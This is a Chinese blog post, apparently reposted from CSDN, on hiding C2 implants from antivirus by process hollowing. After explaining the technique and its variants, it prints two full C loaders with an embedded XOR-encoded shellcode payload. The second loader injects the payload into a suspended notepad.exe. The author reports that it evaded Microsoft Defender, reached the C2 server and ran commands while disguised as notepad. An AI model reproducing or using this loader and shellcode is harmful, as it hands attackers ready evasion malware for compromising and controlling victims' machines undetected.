当前位置: 首页 > article >正文

【免杀】C2免杀技术(六)进程镂空(傀儡进程)

一、技术定位与核心思想

进程镂空(Process Hollowing)属于 MITRE ATT&CK 中 T1055.012 子技术:先创建一个合法进程并挂起,随后把其主模块从内存“掏空”并替换为恶意映像,最后恢复线程执行,从而让恶意代码披着正常进程外壳运行。 

二、标准流程(七步拆解)

步骤关键 API细节陷阱
① 创建挂起进程CreateProcessW(..., CREATE_SUSPENDED)选用系统常驻或白名单进程名称;位数需与 payload 一致。
② 解析目标 PEBNtQueryInformationProcess + ReadProcessMemory 取出 ImageBaseAddress
③ 卸载原映像NtUnmapViewOfSection 如卸载失败一般是内存仍被模块引用,需重试或改用 NtWriteVirtualMemory 覆盖。
④ 申请内存VirtualAllocEx 推荐按分节属性分别设页权限,减少可疑“RX/RWX” 区段。
⑤ 写入恶意映像WriteProcessMemory + 重定位表修补重定位 delta = NewBase - OldImageBase ;缺 reloc 表会直接崩溃。
⑥ 重写线程上下文GetThreadContext / SetThreadContext x86 写 EAX/EIP;x64 需写 RCX,RDX,R8,R9 等保留寄存器。
⑦ 恢复执行ResumeThread建议先 Sleep‑Obfuscation → Unhook,再联网。

三、进阶与变体

变体核心改动场景/优势
RunPE/PE‑Inject过程同镂空,但直接覆盖同一进程(无父子关系)。红队常用,代码更简单。
Transacted Hollowing结合 TxF 事务,绕过落地文件扫描。被 NITROGEN / HijackLoader 等新家族采用 (CrowdStrike)。
Process Ghosting / Herpaderping / Doppelgänging修改或删除落地文件后再创建进程,文件已不可扫描。对文件型防护最具破坏性;微软专文阐述检测难点 (微软)。
Windows 11 24H2 MEM_IMAGE 版24H2 要求映像区段标记为 MEM_IMAGE;传统 MEM_PRIVATE 写入会异常 0xC0000141 终止 (cirt.gy)。需改用 NtCreateSection 映射映像模式或走 Ghosting 路线。

四、免杀效果展示

1、先拿之前文章:【免杀】C2免杀技术(四)shellcode分离加载-CSDN博客 里的xor加载器代码(文章里演示过,放到DF上,被杀)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41" /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);int main() {// 申请 RWX 内存LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!exec_mem) {printf("VirtualAlloc failed.\n");return -1;}// 复制加密的 shellcode 到可执行内存memcpy(exec_mem, encoded_shellcode, shellcode_len);// 在已加载的内存中解密 shellcodefor (size_t i = 0; i < shellcode_len; ++i) {((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];}// 创建线程执行 shellcodeHANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);if (!hThread) {printf("CreateThread failed.\n");VirtualFree(exec_mem, 0, MEM_RELEASE);return -1;}// 等待 shellcode 执行完成WaitForSingleObject(hThread, INFINITE);// 清理VirtualFree(exec_mem, 0, MEM_RELEASE);return 0;
}

2、现在使用进程镂空技术来改造,改完如下:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>// 示例Shellcode(已使用XOR加密)
unsigned char shellcode[] = /* 你的XOR加密后shellcode数据 */ "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41";
SIZE_T shellcodeSize = sizeof(shellcode);int main() {STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };CONTEXT ctx;ctx.ContextFlags = CONTEXT_FULL;// 1. 创建挂起的目标进程(以 notepad.exe 为例)if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL, NULL, NULL, FALSE,CREATE_SUSPENDED, NULL, NULL,&si, &pi)){printf("[-] CreateProcess failed (%d)\n", GetLastError());return -1;}printf("[+] Suspended process created (PID: %d)\n", pi.dwProcessId);// 2. 获取线程上下文if (!GetThreadContext(pi.hThread, &ctx)) {printf("[-] GetThreadContext failed (%d)\n", GetLastError());return -1;}// 3. 获取 ImageBase 地址DWORD64 imageBase = 0;ReadProcessMemory(pi.hProcess,(LPCVOID)(ctx.Rdx + 0x10),&imageBase, sizeof(imageBase), NULL);// 4. 解析入口点 RVAIMAGE_DOS_HEADER dos = { 0 };IMAGE_NT_HEADERS64 nt = { 0 };ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, &dos, sizeof(dos), NULL);ReadProcessMemory(pi.hProcess,(LPCVOID)(imageBase + dos.e_lfanew),&nt, sizeof(nt), NULL);DWORD64 entryRVA = nt.OptionalHeader.AddressOfEntryPoint;DWORD64 targetAddr = imageBase + entryRVA;// 5. 修改目标内存页权限为可写可执行DWORD oldProt = 0;VirtualProtectEx(pi.hProcess,(LPVOID)targetAddr,shellcodeSize,PAGE_EXECUTE_READWRITE,&oldProt);// 6. 写入已加密 shellcodeif (!WriteProcessMemory(pi.hProcess,(LPVOID)targetAddr,shellcode, shellcodeSize, NULL)){printf("[-] WriteProcessMemory (encrypted) failed (%d)\n", GetLastError());return -1;}printf("[+] Encrypted shellcode written to target process.\n");// 7. 在目标进程内存中进行 XOR 解密(Key: "kun")unsigned char xorKey[] = "kun";       // XOR 密钥字符串SIZE_T keyLen = sizeof(xorKey) - 1;    // 不包含末尾 '\0'for (SIZE_T i = 0; i < shellcodeSize; i++) {unsigned char encByte = 0;// 读取加密字节if (!ReadProcessMemory(pi.hProcess,(LPCVOID)(targetAddr + i),&encByte, 1, NULL)){printf("[-] ReadProcessMemory failed at offset %llu (%d)\n", i, GetLastError());return -1;}// XOR 解密unsigned char decByte = encByte ^ xorKey[i % keyLen];// 写回解密后字节if (!WriteProcessMemory(pi.hProcess,(LPVOID)(targetAddr + i),&decByte, 1, NULL)){printf("[-] WriteProcessMemory failed at offset %llu (%d)\n", i, GetLastError());return -1;}}printf("[+] Shellcode decrypted in target process memory.\n");// 8. 设置线程 RIP 到 shellcode 地址ctx.Rip = targetAddr;if (!SetThreadContext(pi.hThread, &ctx)) {printf("[-] SetThreadContext failed (%d)\n", GetLastError());return -1;}// 9. 恢复线程执行ResumeThread(pi.hThread);// 清理句柄CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return 0;
}

当然,我这里并不符合以上“标准流程”,而是上述第一种变体(RunPE/PE‑Inject),像是一种入口点覆盖式的注入,区别如下:

  • 并没有“掏空”原进程的合法映像,而是在原映像内直接覆盖;
  • 没有按照 PE 结构重建映像,也没有处理重定位、导入表等;
  • 红队常用,代码更简单。

3、将两份代码全部编译出来,进行对比

拉到DF上检测,结果如图:

运行测试,成功上线并执行命令,进程镂空(傀儡进程)绕过DF!

如图,恶意程序的真实的名称并不会出现在进程清单里,取而代之的是notepad.exe

五、结尾

通常所说的傀儡进程,主要就是指进程镂空(Process Hollowing) ,但是这两个概念并非完全等价的术语。傀儡进程是一个更广泛的概念,指攻击者控制的一个表面上看起来“正常”的进程,实际却在执行恶意任务。它包括不限于:进程镂空、进程替身、父子关系欺骗、镜像劫持、进程劫持等。

名称关系举例
进程镂空傀儡进程的一种实现CreateProcess + 替换内存
傀儡进程总体概念镂空、Doppelgänging、镜像劫持等
http://www.lryc.cn/news/2380139.html

相关文章:

  • ETL数据集成产品选型需要关注哪些方面?
  • Eclipse Java 开发调优:如何让 Eclipse 运行更快?
  • 彻底理解事件循环(Event Loop):从单线程到异步世界的桥梁
  • java加强 -stream流
  • Vue百日学习计划Day33-35天详细计划-Gemini版
  • Linux(2)——shell原理及Linux中的权限
  • 如何在线免费压缩PDF文档?
  • EasyExcel动态表头
  • 汽车装配又又又升级,ethernetip转profinet进阶跃迁指南
  • css:无限滚动波浪线
  • 显示器无法接受键盘/鼠标问题解决
  • w~自动驾驶~合集3
  • <C++> MFC自动关闭对话框(MessageBoxTimeout)
  • 山东大学计算机图形学期末复习整理5——CG10上
  • STM32移植LVGL8.3 (保姆级图文教程)
  • AT 指令详解:基于 MCU 的通信控制实战指南AT 指令详解
  • 虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系
  • C++多态的详细讲解
  • vue项目启动报错
  • 项目删除了,为什么vscode中的git还是存在未提交记录,应该怎么删除掉
  • 免费私有化部署! PawSQL社区版,超越EverSQL的企业级SQL优化工具面向个人开发者开放使用了
  • SecureCRT 使用指南:安装、设置与高效操作
  • Tomcat多应用部署与静态资源路径问题全解指南
  • web常见的攻击方式
  • 【微信小程序 + 高德地图API 】键入关键字搜索地址,获取经纬度等
  • java中如何优雅处理多租户系统的查询?
  • 排序算法之线性时间排序:计数排序,基数排序,桶排序详解
  • Linux | mdadm 创建软 RAID
  • 物联网工程毕业设计课题实践指南
  • CodeEdit:macOS上一款可以让Xcode退休的IDE